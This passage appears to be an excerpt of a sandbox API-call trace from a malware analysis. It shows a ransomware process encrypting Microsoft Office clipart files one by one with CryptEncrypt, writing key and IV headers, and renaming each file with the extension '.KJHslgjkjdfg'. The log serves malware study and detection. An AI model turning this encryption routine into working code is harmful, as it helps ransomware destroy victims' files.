Size=0x40) returned 0x9af7b0 [0201.171] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.171] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.171] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.171] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.172] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.172] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.172] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.172] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.172] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.172] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2cf8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2cf8, lpOverlapped=0x0) returned 1 [0201.173] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d00, dwBufLen=0x2d00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d00) returned 1 [0201.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.174] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d00, lpOverlapped=0x0) returned 1 [0201.174] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.174] SetEndOfFile (hFile=0x130) returned 1 [0201.177] GetProcessHeap () returned 0x990000 [0201.177] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.177] GetProcessHeap () returned 0x990000 [0201.177] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.kjhslgjkjdfg")) returned 1 [0201.179] CloseHandle (hObject=0x130) returned 1 [0201.179] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304875.WMF", cAlternateFileName="")) returned 1 [0201.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.181] GetProcessHeap () returned 0x990000 [0201.181] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.181] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.181] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0201.184] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.184] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.184] GetProcessHeap () returned 0x990000 [0201.184] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.184] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.184] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.184] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.185] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.185] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.185] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.185] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.185] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.185] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.185] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.186] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4f8e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4f8e, lpOverlapped=0x0) returned 1 [0201.188] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f90, dwBufLen=0x4f90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f90) returned 1 [0201.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.189] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4f90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4f90, lpOverlapped=0x0) returned 1 [0201.189] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.189] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.189] SetEndOfFile (hFile=0x130) returned 1 [0201.192] GetProcessHeap () returned 0x990000 [0201.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.192] GetProcessHeap () returned 0x990000 [0201.193] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.kjhslgjkjdfg")) returned 1 [0201.194] CloseHandle (hObject=0x130) returned 1 [0201.194] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309480.JPG", cAlternateFileName="")) returned 1 [0201.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.195] GetProcessHeap () returned 0x990000 [0201.195] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.195] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.196] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0201.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.203] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.203] GetProcessHeap () returned 0x990000 [0201.203] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.203] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.203] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.203] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.204] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.204] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.204] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.204] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.204] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.205] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x29c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x29c4, lpOverlapped=0x0) returned 1 [0201.206] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x29d0, dwBufLen=0x29d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x29d0) returned 1 [0201.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.206] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x29d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x29d0, lpOverlapped=0x0) returned 1 [0201.206] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.206] SetEndOfFile (hFile=0x130) returned 1 [0201.209] GetProcessHeap () returned 0x990000 [0201.210] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.210] GetProcessHeap () returned 0x990000 [0201.210] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.kjhslgjkjdfg")) returned 1 [0201.212] CloseHandle (hObject=0x130) returned 1 [0201.212] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309567.JPG", cAlternateFileName="")) returned 1 [0201.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.215] GetProcessHeap () returned 0x990000 [0201.215] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.215] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.216] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.219] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.219] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.219] GetProcessHeap () returned 0x990000 [0201.219] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.219] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.219] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.219] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.219] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.220] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.220] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.220] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.220] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.220] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.220] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x544c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x544c, lpOverlapped=0x0) returned 1 [0201.221] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5450, dwBufLen=0x5450 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5450) returned 1 [0201.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.222] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5450, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5450, lpOverlapped=0x0) returned 1 [0201.222] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.222] SetEndOfFile (hFile=0x130) returned 1 [0201.225] GetProcessHeap () returned 0x990000 [0201.225] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.225] GetProcessHeap () returned 0x990000 [0201.225] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.kjhslgjkjdfg")) returned 1 [0201.227] CloseHandle (hObject=0x130) returned 1 [0201.227] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309585.JPG", cAlternateFileName="")) returned 1 [0201.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.229] GetProcessHeap () returned 0x990000 [0201.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.229] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.229] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0201.232] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.232] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.232] GetProcessHeap () returned 0x990000 [0201.232] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.232] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.232] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.232] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.232] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.232] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.233] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.233] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, 